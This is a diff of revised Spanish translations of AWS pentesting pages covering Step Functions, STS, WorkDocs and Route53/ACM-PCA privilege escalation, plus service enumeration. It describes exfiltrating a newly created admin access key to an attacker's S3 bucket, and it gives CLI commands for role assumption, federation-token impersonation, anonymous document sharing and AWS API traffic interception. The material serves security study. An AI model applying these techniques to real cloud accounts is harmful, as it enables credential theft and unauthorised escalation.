Los siguientes ejemplos muestran cómo crear una máquina de estados que crea una clave de acceso para el **`admin`** usuario y exfiltra esta clave de acceso a un bucket S3 controlado por un atacante, aprovechando estos permisos y un rol permisivo del entorno de AWS. Este rol permisivo debe tener asociada alguna política de alto privilegio (por ejemplo **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permita a la máquina de estados realizar las acciones **`iam:CreateAccessKey`** y **`s3:putObject`**.
|
||||
Los siguientes ejemplos muestran cómo crear una máquina de estados que crea una clave de acceso para el **`admin`** y exfiltra esta clave de acceso a un bucket S3 controlado por un atacante, aprovechando estos permisos y un rol permisivo del entorno de AWS. Este rol permisivo debe tener asociada alguna política de alto privilegio (por ejemplo **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permita a la máquina de estados realizar las acciones **`iam:CreateAccessKey`** y **`s3:putObject`**.
|
||||
|
||||
- **stateMachineDefinition.json**:
|
||||
```json
|
||||
@@ -132,9 +132,9 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> El bucket S3 controlado por el atacante debe tener permisos para aceptar una acción s3:PutObject de la cuenta de la víctima.
|
||||
> El bucket S3 controlado por el atacante debería tener permisos para aceptar una acción s3:PutObject de la cuenta de la víctima.
|
||||
|
||||
**Impacto Potencial**: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.
|
||||
**Impacto Potencial**: Ejecución no autorizada y manipulación de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.
|
||||
|
||||
### `states:UpdateStateMachine` & (no siempre requerido) `iam:PassRole`
|
||||
|
||||
@@ -142,8 +142,8 @@ Un atacante con el permiso **`states:UpdateStateMachine`** podría modificar la
|
||||
|
||||
Dependiendo de cuán permisivo sea el Rol IAM asociado a la máquina de estados, un atacante se enfrentaría a 2 situaciones:
|
||||
|
||||
1. **Rol IAM permisivo**: Si el Rol IAM asociado a la máquina de estados ya es permisivo (tiene, por ejemplo, la política **`arn:aws:iam::aws:policy/AdministratorAccess`** adjunta), entonces el permiso **`iam:PassRole`** no sería necesario para escalar privilegios, ya que no sería necesario actualizar también el Rol IAM; con la definición de la máquina de estados es suficiente.
|
||||
2. **Rol IAM no permisivo**: En contraste con el caso anterior, aquí un atacante también requeriría el permiso **`iam:PassRole`** ya que sería necesario asociar un Rol IAM permisivo a la máquina de estados además de modificar la definición de la máquina de estados.
|
||||
1. **Rol IAM Permisivo**: Si el Rol IAM asociado a la máquina de estados ya es permisivo (tiene, por ejemplo, la política **`arn:aws:iam::aws:policy/AdministratorAccess`** adjunta), entonces el permiso **`iam:PassRole`** no sería necesario para escalar privilegios, ya que no sería necesario actualizar también el Rol IAM, con la definición de la máquina de estados es suficiente.
|
||||
2. **Rol IAM No Permisivo**: En contraste con el caso anterior, aquí un atacante también requeriría el permiso **`iam:PassRole`** ya que sería necesario asociar un Rol IAM permisivo a la máquina de estados además de modificar la definición de la máquina de estados.
|
||||
```bash
|
||||
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
|
||||
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
|
||||
|
||||
@@ -30,7 +30,7 @@ aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
|
||||
**Impacto Potencial:** Privesc al rol.
|
||||
|
||||
> [!CAUTION]
|
||||
> Tenga en cuenta que en este caso el permiso `sts:AssumeRole` debe ser **indicado en el rol a abusar** y no en una política perteneciente al atacante.\
|
||||
> Tenga en cuenta que en este caso el permiso `sts:AssumeRole` debe ser **indicado en el rol a abusar** y no en una política que pertenezca al atacante.\
|
||||
> Con una excepción, para **asumir un rol de una cuenta diferente** la cuenta del atacante **también necesita** tener el **`sts:AssumeRole`** sobre el rol.
|
||||
|
||||
### **`sts:GetFederationToken`**
|
||||
@@ -39,7 +39,7 @@ Con este permiso es posible generar credenciales para suplantar a cualquier usua
|
||||
```bash
|
||||
aws sts get-federation-token --name <username>
|
||||
```
|
||||
Esta es la forma en que se puede otorgar este permiso de manera segura sin dar acceso para suplantar a otros usuarios:
|
||||
Así es como se puede otorgar este permiso de manera segura sin dar acceso para suplantar a otros usuarios:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -78,11 +78,11 @@ Un ejemplo de una política de confianza con este permiso es:
|
||||
]
|
||||
}
|
||||
```
|
||||
Para generar credenciales para suplantar el rol, en general podrías usar algo como:
|
||||
Para generar credenciales para suplantar el rol en general, podrías usar algo como:
|
||||
```bash
|
||||
aws sts assume-role-with-saml --role-arn <value> --principal-arn <value>
|
||||
```
|
||||
Pero **los proveedores** pueden tener **sus propias herramientas** para facilitar esto, como [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
|
||||
Pero los **proveedores** pueden tener sus **propias herramientas** para facilitar esto, como [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
|
||||
```bash
|
||||
onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
|
||||
```
|
||||
|
||||
@@ -15,7 +15,7 @@ Crea un usuario dentro del Directorio indicado, luego tendrás acceso tanto a Wo
|
||||
# Create user (created inside the AD)
|
||||
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
|
||||
```
|
||||
### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)`
|
||||
### `workdocs:GetDocument`, `(workdocs:DescribeActivities)`
|
||||
|
||||
Los archivos pueden contener información sensible, léelos:
|
||||
```bash
|
||||
@@ -39,7 +39,7 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
|
||||
### `workdocs:AddUserToGroup`
|
||||
|
||||
Puedes convertir a un usuario en administrador al configurarlo en el grupo ZOCALO_ADMIN.\
|
||||
Para eso, sigue las instrucciones de [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
|
||||
Para ello, sigue las instrucciones de [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
|
||||
|
||||
Inicia sesión con ese usuario en workdoc y accede al panel de administración en `/workdocs/index.html#/admin`
|
||||
|
||||
|
||||
+3
-3
@@ -11,16 +11,16 @@ Para más información sobre Route53, consulta:
|
||||
### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
|
||||
|
||||
> [!NOTE]
|
||||
> Para realizar este ataque, la cuenta objetivo debe tener ya configurada una [**Autoridad de Certificación Privada de AWS Certificate Manager**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** en la cuenta, y las instancias de EC2 en el/los VPC(s) deben haber importado ya los certificados para confiar en ella. Con esta infraestructura en su lugar, se puede realizar el siguiente ataque para interceptar el tráfico de la API de AWS.
|
||||
> Para realizar este ataque, la cuenta objetivo debe tener ya una [**Autoridad de Certificación Privada de AWS Certificate Manager**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configurada en la cuenta, y las instancias de EC2 en el/los VPC(s) deben haber importado ya los certificados para confiar en ella. Con esta infraestructura en su lugar, se puede realizar el siguiente ataque para interceptar el tráfico de la API de AWS.
|
||||
|
||||
Otros permisos **recomendados pero no requeridos para la parte de enumeración**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
|
||||
|
||||
Suponiendo que hay un VPC de AWS con múltiples aplicaciones nativas de la nube comunicándose entre sí y con la API de AWS. Dado que la comunicación entre los microservicios está a menudo cifrada con TLS, debe haber una CA privada para emitir los certificados válidos para esos servicios. **Si se utiliza ACM-PCA** para eso y el adversario logra obtener **acceso para controlar tanto route53 como la CA privada de acm-pca** con el conjunto mínimo de permisos descritos anteriormente, puede **secuestrar las llamadas de la aplicación a la API de AWS** apoderándose de sus permisos de IAM.
|
||||
Suponiendo que hay un VPC de AWS con múltiples aplicaciones nativas de la nube comunicándose entre sí y con la API de AWS. Dado que la comunicación entre los microservicios está a menudo cifrada con TLS, debe haber una CA privada para emitir los certificados válidos para esos servicios. **Si se utiliza ACM-PCA** para eso y el adversario logra **acceder al control tanto de route53 como de la CA privada acm-pca** con el conjunto mínimo de permisos descritos anteriormente, puede **secuestrar las llamadas de la aplicación a la API de AWS** apoderándose de sus permisos de IAM.
|
||||
|
||||
Esto es posible porque:
|
||||
|
||||
- Los SDK de AWS no tienen [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)
|
||||
- Route53 permite crear Zonas Privadas y registros DNS para los nombres de dominio de las APIs de AWS
|
||||
- Route53 permite crear Zonas Alojadas Privadas y registros DNS para nombres de dominio de APIs de AWS
|
||||
- La CA privada en ACM-PCA no puede ser restringida a firmar solo certificados para Nombres Comunes específicos
|
||||
|
||||
**Impacto Potencial:** Privesc indirecto al interceptar información sensible en el tráfico.
|
||||
|
||||
@@ -10,7 +10,7 @@ Los servicios que caen bajo los servicios de contenedores tienen las siguientes
|
||||
|
||||
- El servicio en sí se ejecuta en **instancias de infraestructura separadas**, como EC2.
|
||||
- **AWS** es responsable de **gestionar el sistema operativo y la plataforma**.
|
||||
- Se proporciona un servicio administrado por AWS, que es típicamente el servicio en sí para la **aplicación real que se ve como contenedores**.
|
||||
- Se proporciona un servicio gestionado por AWS, que es típicamente el servicio en sí para la **aplicación real que se ve como contenedores**.
|
||||
- Como usuario de estos servicios de contenedores, tienes una serie de responsabilidades de gestión y seguridad, incluyendo **gestionar la seguridad del acceso a la red, como las reglas de listas de control de acceso a la red y cualquier firewall**.
|
||||
- También, gestión de identidad y acceso a nivel de plataforma donde exista.
|
||||
- **Ejemplos** de servicios de contenedores de AWS incluyen Relational Database Service, Elastic Mapreduce y Elastic Beanstalk.
|
||||
@@ -20,7 +20,7 @@ Los servicios que caen bajo los servicios de contenedores tienen las siguientes
|
||||
- Estos servicios están **eliminados, abstraídos, de la plataforma o capa de gestión sobre la que se construyen las aplicaciones en la nube**.
|
||||
- Los servicios se acceden a través de puntos finales utilizando interfaces de programación de aplicaciones de AWS, APIs.
|
||||
- La **infraestructura subyacente, el sistema operativo y la plataforma son gestionados por AWS**.
|
||||
- Los servicios abstractos proporcionan una plataforma de multi-inquilinos sobre la que se comparte la infraestructura subyacente.
|
||||
- Los servicios abstractos proporcionan una plataforma de multi-tenencia en la que la infraestructura subyacente es compartida.
|
||||
- **Los datos están aislados a través de mecanismos de seguridad**.
|
||||
- Los servicios abstractos tienen una fuerte integración con IAM, y **ejemplos** de servicios abstractos incluyen S3, DynamoDB, Amazon Glacier y SQS.
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - API Gateway Enum
|
||||
# AWS - Enumeración de API Gateway
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,23 +6,23 @@
|
||||
|
||||
### Información Básica
|
||||
|
||||
AWS API Gateway es un servicio integral ofrecido por Amazon Web Services (AWS) diseñado para que los desarrolladores **crean, publican y supervisan APIs a gran escala**. Funciona como un punto de entrada a una aplicación, permitiendo a los desarrolladores establecer un marco de reglas y procedimientos. Este marco regula el acceso que los usuarios externos tienen a ciertos datos o funcionalidades dentro de la aplicación.
|
||||
AWS API Gateway es un servicio integral ofrecido por Amazon Web Services (AWS) diseñado para que los desarrolladores **crean, publican y supervisan APIs a gran escala**. Funciona como un punto de entrada a una aplicación, permitiendo a los desarrolladores establecer un marco de reglas y procedimientos. Este marco rige el acceso que los usuarios externos tienen a ciertos datos o funcionalidades dentro de la aplicación.
|
||||
|
||||
API Gateway te permite definir **cómo deben manejarse las solicitudes a tus APIs**, y puede crear puntos finales de API personalizados con métodos específicos (por ejemplo, GET, POST, PUT, DELETE) y recursos. También puede generar SDKs de cliente (Kits de Desarrollo de Software) para facilitar a los desarrolladores la llamada a tus APIs desde sus aplicaciones.
|
||||
|
||||
### Tipos de API Gateways
|
||||
|
||||
- **HTTP API**: Crea APIs REST de baja latencia y costo efectivo con características integradas como OIDC y OAuth2, y soporte nativo para CORS. Funciona con lo siguiente: Lambda, backends HTTP.
|
||||
- **WebSocket API**: Crea una API WebSocket utilizando conexiones persistentes para casos de uso en tiempo real como aplicaciones de chat o paneles de control. Funciona con lo siguiente: Lambda, HTTP, Servicios de AWS.
|
||||
- **HTTP API**: Construye APIs REST de baja latencia y costo efectivo con características integradas como OIDC y OAuth2, y soporte nativo para CORS. Funciona con lo siguiente: Lambda, backends HTTP.
|
||||
- **WebSocket API**: Construye una API WebSocket utilizando conexiones persistentes para casos de uso en tiempo real como aplicaciones de chat o paneles de control. Funciona con lo siguiente: Lambda, HTTP, Servicios de AWS.
|
||||
- **REST API**: Desarrolla una API REST donde obtienes control total sobre la solicitud y la respuesta junto con capacidades de gestión de API. Funciona con lo siguiente: Lambda, HTTP, Servicios de AWS.
|
||||
- **REST API Privada**: Crea una API REST que solo es accesible desde dentro de un VPC.
|
||||
|
||||
### Componentes Principales de API Gateway
|
||||
|
||||
1. **Recursos**: En API Gateway, los recursos son los componentes que **constituyen la estructura de tu API**. Representan **los diferentes caminos o puntos finales** de tu API y corresponden a las diversas acciones que tu API admite. Un recurso es cada método (por ejemplo, GET, POST, PUT, DELETE) **dentro de cada camino** (/, o /users, o /user/{id}).
|
||||
1. **Recursos**: En API Gateway, los recursos son los componentes que **constituyen la estructura de tu API**. Representan **los diferentes caminos o puntos finales** de tu API y corresponden a las diversas acciones que tu API soporta. Un recurso es cada método (por ejemplo, GET, POST, PUT, DELETE) **dentro de cada camino** (/, o /users, o /user/{id}).
|
||||
2. **Etapas**: Las etapas en API Gateway representan **diferentes versiones o entornos** de tu API, como desarrollo, pruebas o producción. Puedes usar etapas para gestionar y desplegar **múltiples versiones de tu API simultáneamente**, permitiéndote probar nuevas características o correcciones de errores sin afectar el entorno de producción. Las etapas también **soportan variables de etapa**, que son pares clave-valor que se pueden usar para configurar el comportamiento de tu API según la etapa actual. Por ejemplo, podrías usar variables de etapa para dirigir las solicitudes de API a diferentes funciones Lambda u otros servicios de backend dependiendo de la etapa.
|
||||
- La etapa se indica al principio de la URL del punto final de API Gateway.
|
||||
3. **Autorizadores**: Los autorizadores en API Gateway son responsables de **controlar el acceso a tu API** verificando la identidad del llamador antes de permitir que la solicitud continúe. Puedes usar **funciones de AWS Lambda** como autorizadores personalizados, lo que te permite implementar tu propia lógica de autenticación y autorización. Cuando llega una solicitud, API Gateway pasa el token de autorización de la solicitud al autorizador Lambda, que procesa el token y devuelve una política IAM que determina qué acciones se le permite realizar al llamador. API Gateway también admite **autorizadores integrados**, como **AWS Identity and Access Management (IAM)** y **Amazon Cognito**.
|
||||
3. **Autorizadores**: Los autorizadores en API Gateway son responsables de **controlar el acceso a tu API** verificando la identidad del llamador antes de permitir que la solicitud continúe. Puedes usar **funciones de AWS Lambda** como autorizadores personalizados, lo que te permite implementar tu propia lógica de autenticación y autorización. Cuando llega una solicitud, API Gateway pasa el token de autorización de la solicitud al autorizador Lambda, que procesa el token y devuelve una política IAM que determina qué acciones se permite realizar al llamador. API Gateway también soporta **autorizadores integrados**, como **AWS Identity and Access Management (IAM)** y **Amazon Cognito**.
|
||||
4. **Política de Recursos**: Una política de recursos en API Gateway es un documento JSON que **define los permisos para acceder a tu API**. Es similar a una política IAM pero específicamente adaptada para API Gateway. Puedes usar una política de recursos para controlar quién puede acceder a tu API, qué métodos pueden llamar y desde qué direcciones IP o VPCs pueden conectarse. **Las políticas de recursos se pueden usar en combinación con autorizadores** para proporcionar un control de acceso detallado para tu API.
|
||||
- Para que tenga efecto, la API necesita ser **desplegada nuevamente después** de que se modifique la política de recursos.
|
||||
|
||||
@@ -155,7 +155,7 @@ Ambos métodos generarán un **Authorization** **header** como:
|
||||
```
|
||||
AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2
|
||||
```
|
||||
Nota que en otros casos el **Authorizer** podría haber sido **mal codificado** y simplemente enviar **cualquier cosa** dentro del **Authorization header** permitirá **ver el contenido oculto**.
|
||||
Tenga en cuenta que en otros casos el **Authorizer** podría haber sido **mal codificado** y simplemente enviar **cualquier cosa** dentro del **Authorization header** permitirá **ver el contenido oculto**.
|
||||
|
||||
### Request Signing Using Python
|
||||
```python
|
||||
@@ -246,7 +246,7 @@ Llámalo con algo como:
|
||||
|
||||
Ten en cuenta que si se **genera y devuelve una política de denegación**, el error devuelto por API Gateway es: `{"Message":"User is not authorized to access this resource with an explicit deny"}`
|
||||
|
||||
De esta manera podrías **identificar esta autorización** en su lugar.
|
||||
De esta manera podrías **identificar esta autorización** que está en su lugar.
|
||||
|
||||
### Clave API Requerida
|
||||
|
||||
|
||||
+1
-1
@@ -26,7 +26,7 @@ aws acm get-certificate --certificate-arn "arn:aws:acm:us-east-1:188868097724:ce
|
||||
# Account configuration
|
||||
aws acm get-account-configuration
|
||||
```
|
||||
### PCA
|
||||
### PCM
|
||||
```bash
|
||||
# List CAs
|
||||
aws acm-pca list-certificate-authorities
|
||||
|
||||
+2
-2
@@ -1,4 +1,4 @@
|
||||
# AWS - CloudFormation & Codestar Enum
|
||||
# AWS - Enumeración de CloudFormation y Codestar
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
AWS CloudFormation es un servicio diseñado para **agilizar la gestión de recursos de AWS**. Permite a los usuarios centrarse más en sus aplicaciones que se ejecutan en AWS al **minimizar el tiempo dedicado a la gestión de recursos**. La característica principal de este servicio es la **plantilla**—un modelo descriptivo de los recursos de AWS deseados. Una vez que se proporciona esta plantilla, CloudFormation es responsable de la **provisión y configuración** de los recursos especificados. Esta automatización facilita una gestión más eficiente y libre de errores de la infraestructura de AWS.
|
||||
|
||||
### Enumeration
|
||||
### Enumeración
|
||||
```bash
|
||||
# Stacks
|
||||
aws cloudformation list-stacks
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## CloudFront
|
||||
|
||||
CloudFront es la **red de entrega de contenido de AWS que acelera la distribución** de tu contenido estático y dinámico a través de su red mundial de ubicaciones de borde. Cuando utilizas un contenido de solicitud que estás alojando a través de Amazon CloudFront, la solicitud se enruta a la ubicación de borde más cercana, lo que proporciona la menor latencia para ofrecer el mejor rendimiento. Cuando **los registros de acceso de CloudFront** están habilitados, puedes registrar la solicitud de cada usuario que solicita acceso a tu sitio web y distribución. Al igual que con los registros de acceso de S3, estos registros también son **almacenados en Amazon S3 para un almacenamiento duradero y persistente**. No hay cargos por habilitar el registro en sí, sin embargo, como los registros se almacenan en S3, se te cobrará por el almacenamiento utilizado por S3.
|
||||
CloudFront es la **red de entrega de contenido de AWS que acelera la distribución** de tu contenido estático y dinámico a través de su red mundial de ubicaciones de borde. Cuando utilizas un contenido de solicitud que estás alojando a través de Amazon CloudFront, la solicitud se enruta a la ubicación de borde más cercana, lo que proporciona la menor latencia para ofrecer el mejor rendimiento. Cuando se habilitan los **registros de acceso de CloudFront**, puedes registrar la solicitud de cada usuario que solicita acceso a tu sitio web y distribución. Al igual que con los registros de acceso de S3, estos registros también son **almacenados en Amazon S3 para un almacenamiento duradero y persistente**. No hay cargos por habilitar el registro en sí, sin embargo, como los registros se almacenan en S3, se te cobrará por el almacenamiento utilizado por S3.
|
||||
|
||||
Los archivos de registro capturan datos durante un período de tiempo y la cantidad de solicitudes que recibe Amazon CloudFront para esa distribución dependerá de la cantidad de archivos de registro que se generen. Es importante saber que estos archivos de registro no se crean ni se escriben en S3. S3 es simplemente donde se entregan una vez que el archivo de registro está completo. **Amazon CloudFront retiene estos registros hasta que están listos para ser entregados a S3**. Nuevamente, dependiendo del tamaño de estos archivos de registro, esta entrega puede tardar **entre una y 24 horas**.
|
||||
|
||||
|
||||
@@ -8,32 +8,32 @@ Cloud HSM es un **dispositivo de hardware** validado a nivel dos FIPS 140 para e
|
||||
|
||||
La característica inusual de CloudHSM es que es un dispositivo físico, y por lo tanto **no se comparte con otros clientes**, o como se denomina comúnmente, multi-tenant. Es un dispositivo de un solo inquilino dedicado exclusivamente a sus cargas de trabajo.
|
||||
|
||||
Típicamente, un dispositivo está disponible en 15 minutos, asumiendo que hay capacidad, pero en algunas zonas podría no haberla.
|
||||
Típicamente, un dispositivo está disponible en 15 minutos asumiendo que hay capacidad, pero en algunas zonas podría no haber.
|
||||
|
||||
Dado que este es un dispositivo físico dedicado a usted, **las claves se almacenan en el dispositivo**. Las claves deben ser **replicadas a otro dispositivo**, respaldadas en almacenamiento fuera de línea, o exportadas a un dispositivo de reserva. **Este dispositivo no está respaldado** por S3 ni por ningún otro servicio en AWS como KMS.
|
||||
|
||||
En **CloudHSM**, debe **escalar el servicio usted mismo**. Debe aprovisionar suficientes dispositivos CloudHSM para manejar sus necesidades de cifrado basadas en los algoritmos de cifrado que ha elegido implementar para su solución.\
|
||||
El escalado del Servicio de Gestión de Claves es realizado por AWS y se escala automáticamente según la demanda, por lo que a medida que su uso crece, también podría aumentar el número de dispositivos CloudHSM que se requieren. Tenga esto en cuenta a medida que escale su solución y si su solución tiene escalado automático, asegúrese de que su escala máxima esté contemplada con suficientes dispositivos CloudHSM para atender la solución.
|
||||
En **CloudHSM**, tiene que **escalar el servicio usted mismo**. Debe aprovisionar suficientes dispositivos CloudHSM para manejar lo que sean sus necesidades de cifrado basadas en los algoritmos de cifrado que ha elegido implementar para su solución.\
|
||||
La escalabilidad del Servicio de Gestión de Claves es realizada por AWS y se escala automáticamente según la demanda, por lo que a medida que su uso crece, también podría crecer el número de dispositivos CloudHSM que se requieren. Tenga esto en cuenta a medida que escale su solución y si su solución tiene escalado automático, asegúrese de que su escala máxima esté contemplada con suficientes dispositivos CloudHSM para atender la solución.
|
||||
|
||||
Al igual que el escalado, **el rendimiento depende de usted con CloudHSM**. El rendimiento varía según el algoritmo de cifrado utilizado y con qué frecuencia necesita acceder o recuperar las claves para cifrar los datos. El rendimiento del servicio de gestión de claves es manejado por Amazon y se escala automáticamente según la demanda. El rendimiento de CloudHSM se logra agregando más dispositivos y si necesita más rendimiento, simplemente agrega dispositivos o altera el método de cifrado al algoritmo que es más rápido.
|
||||
|
||||
Si su solución es **multi-región**, debe agregar varios **dispositivos CloudHSM en la segunda región y resolver la conectividad entre regiones con una conexión VPN privada** o algún método para garantizar que el tráfico esté siempre protegido entre el dispositivo en cada capa de la conexión. Si tiene una solución multi-región, debe pensar en cómo **replicar claves y configurar dispositivos CloudHSM adicionales en las regiones donde opera**. Puede rápidamente entrar en un escenario donde tiene seis u ocho dispositivos distribuidos en múltiples regiones, habilitando la redundancia total de sus claves de cifrado.
|
||||
|
||||
**CloudHSM** es un servicio de clase empresarial para el almacenamiento seguro de claves y puede ser utilizado como un **raíz de confianza para una empresa**. Puede almacenar claves privadas en PKI y claves de autoridad de certificación en implementaciones X509. Además de las claves simétricas utilizadas en algoritmos simétricos como AES, **KMS almacena y protege físicamente solo claves simétricas (no puede actuar como una autoridad de certificación)**, por lo que si necesita almacenar claves de PKI y CA, uno o dos o tres CloudHSM podrían ser su solución.
|
||||
**CloudHSM** es un servicio de clase empresarial para el almacenamiento seguro de claves y puede ser utilizado como un **raíz de confianza para una empresa**. Puede almacenar claves privadas en PKI y claves de autoridad de certificación en implementaciones X509. Además de claves simétricas utilizadas en algoritmos simétricos como AES, **KMS almacena y protege físicamente solo claves simétricas (no puede actuar como una autoridad de certificación)**, por lo que si necesita almacenar claves de PKI y CA, uno o dos o tres CloudHSM podrían ser su solución.
|
||||
|
||||
**CloudHSM es considerablemente más caro que el Servicio de Gestión de Claves**. CloudHSM es un dispositivo de hardware, por lo que tiene costos fijos para aprovisionar el dispositivo CloudHSM, luego hay un costo por hora para operar el dispositivo. El costo se multiplica por la cantidad de dispositivos CloudHSM que se requieren para cumplir con sus requisitos específicos.\
|
||||
Además, se debe considerar la compra de software de terceros como las suites de software SafeNet ProtectV y el tiempo y esfuerzo de integración. El Servicio de Gestión de Claves es basado en uso y depende del número de claves que tiene y de las operaciones de entrada y salida. Dado que la gestión de claves proporciona integración sin problemas con muchos servicios de AWS, los costos de integración deberían ser significativamente más bajos. Los costos deben considerarse un factor secundario en las soluciones de cifrado. El cifrado se utiliza típicamente para seguridad y cumplimiento.
|
||||
|
||||
**Con CloudHSM, solo usted tiene acceso a las claves** y sin entrar en demasiados detalles, con CloudHSM usted gestiona sus propias claves. **Con KMS, usted y Amazon co-gestionan sus claves**. AWS tiene muchas salvaguardias de políticas contra el abuso y **aún no puede acceder a sus claves en ninguna de las soluciones**. La principal distinción es el cumplimiento en lo que respecta a la propiedad y gestión de claves, y con CloudHSM, este es un dispositivo de hardware que usted gestiona y mantiene con acceso exclusivo para usted y solo para usted.
|
||||
**Con CloudHSM solo usted tiene acceso a las claves** y sin entrar en demasiados detalles, con CloudHSM usted gestiona sus propias claves. **Con KMS, usted y Amazon co-gestionan sus claves**. AWS tiene muchas salvaguardias de políticas contra el abuso y **aún no puede acceder a sus claves en ninguna de las soluciones**. La principal distinción es el cumplimiento en lo que respecta a la propiedad y gestión de claves, y con CloudHSM, este es un dispositivo de hardware que usted gestiona y mantiene con acceso exclusivo para usted y solo para usted.
|
||||
|
||||
### Sugerencias de CloudHSM
|
||||
|
||||
1. Siempre implemente CloudHSM en una **configuración HA** con al menos dos dispositivos en **zonas de disponibilidad separadas**, y si es posible, implemente un tercero ya sea en las instalaciones o en otra región de AWS.
|
||||
2. Tenga cuidado al **inicializar** un **CloudHSM**. Esta acción **destruirá las claves**, así que tenga otra copia de las claves o esté absolutamente seguro de que no las necesita y nunca, jamás necesitará estas claves para descifrar datos.
|
||||
3. CloudHSM solo **soporta ciertas versiones de firmware** y software. Antes de realizar cualquier actualización, asegúrese de que el firmware y/o software sea compatible con AWS. Siempre puede contactar al soporte de AWS para verificar si la guía de actualización no está clara.
|
||||
4. La **configuración de red nunca debe ser cambiada.** Recuerde, está en un centro de datos de AWS y AWS está monitoreando el hardware base por usted. Esto significa que si el hardware falla, lo reemplazarán por usted, pero solo si saben que ha fallado.
|
||||
4. La **configuración de red nunca debe ser cambiada.** Recuerde, está en un centro de datos de AWS y AWS está monitoreando el hardware base por usted. Esto significa que si el hardware falla, lo reemplazarán por usted, pero solo si saben que falló.
|
||||
5. El **reenvío de SysLog no debe ser eliminado o cambiado**. Siempre puede **agregar** un reenvío de SysLog para dirigir los registros a su propia herramienta de recopilación.
|
||||
6. La configuración de **SNMP** tiene las mismas restricciones básicas que la red y la carpeta de SysLog. Esto **no debe ser cambiado o eliminado**. Una configuración adicional de SNMP está bien, solo asegúrese de no cambiar la que ya está en el dispositivo.
|
||||
6. La configuración de **SNMP** tiene las mismas restricciones básicas que la red y la carpeta SysLog. Esto **no debe ser cambiado o eliminado**. Una configuración de SNMP **adicional** está bien, solo asegúrese de no cambiar la que ya está en el dispositivo.
|
||||
7. Otra buena práctica interesante de AWS es **no cambiar la configuración de NTP**. No está claro qué sucedería si lo hiciera, así que tenga en cuenta que si no utiliza la misma configuración de NTP para el resto de su solución, podría tener dos fuentes de tiempo. Solo esté consciente de esto y sepa que el CloudHSM debe permanecer con la fuente NTP existente.
|
||||
|
||||
El cargo inicial por el lanzamiento de CloudHSM es de $5,000 para asignar el dispositivo de hardware dedicado para su uso, luego hay un cargo por hora asociado con la operación de CloudHSM que actualmente es de $1.88 por hora de operación, o aproximadamente $1,373 por mes.
|
||||
@@ -46,7 +46,7 @@ La **clave pública se instala en el dispositivo HSM durante el aprovisionamient
|
||||
|
||||
Un módulo de seguridad de hardware (HSM) es un dispositivo criptográfico dedicado que se utiliza para generar, almacenar y gestionar claves criptográficas y proteger datos sensibles. Está diseñado para proporcionar un alto nivel de seguridad al aislar física y electrónicamente las funciones criptográficas del resto del sistema.
|
||||
|
||||
La forma en que funciona un HSM puede variar según el modelo y fabricante específicos, pero generalmente, ocurren los siguientes pasos:
|
||||
La forma en que funciona un HSM puede variar según el modelo y fabricante específicos, pero generalmente, los siguientes pasos ocurren:
|
||||
|
||||
1. **Generación de claves**: El HSM genera una clave criptográfica aleatoria utilizando un generador de números aleatorios seguro.
|
||||
2. **Almacenamiento de claves**: La clave se **almacena de forma segura dentro del HSM, donde solo puede ser accedida por usuarios o procesos autorizados**.
|
||||
|
||||
@@ -16,7 +16,7 @@ AWS CodeBuild se integra sin problemas con otros servicios de AWS, mejorando la
|
||||
|
||||
#### **Credenciales de fuente predeterminadas**
|
||||
|
||||
Esta es la opción heredada donde es posible configurar algún **acceso** (como un token de Github o una aplicación) que será **compartido entre proyectos de codebuild** para que todos los proyectos puedan usar este conjunto de credenciales configurado.
|
||||
Esta es la opción heredada donde es posible configurar algún **acceso** (como un token de Github o una aplicación) que será **compartido entre proyectos de codebuild** para que todos los proyectos puedan usar este conjunto de credenciales configuradas.
|
||||
|
||||
Las credenciales almacenadas (tokens, contraseñas...) son **gestionadas por codebuild** y no hay ninguna forma pública de recuperarlas de las APIs de AWS.
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
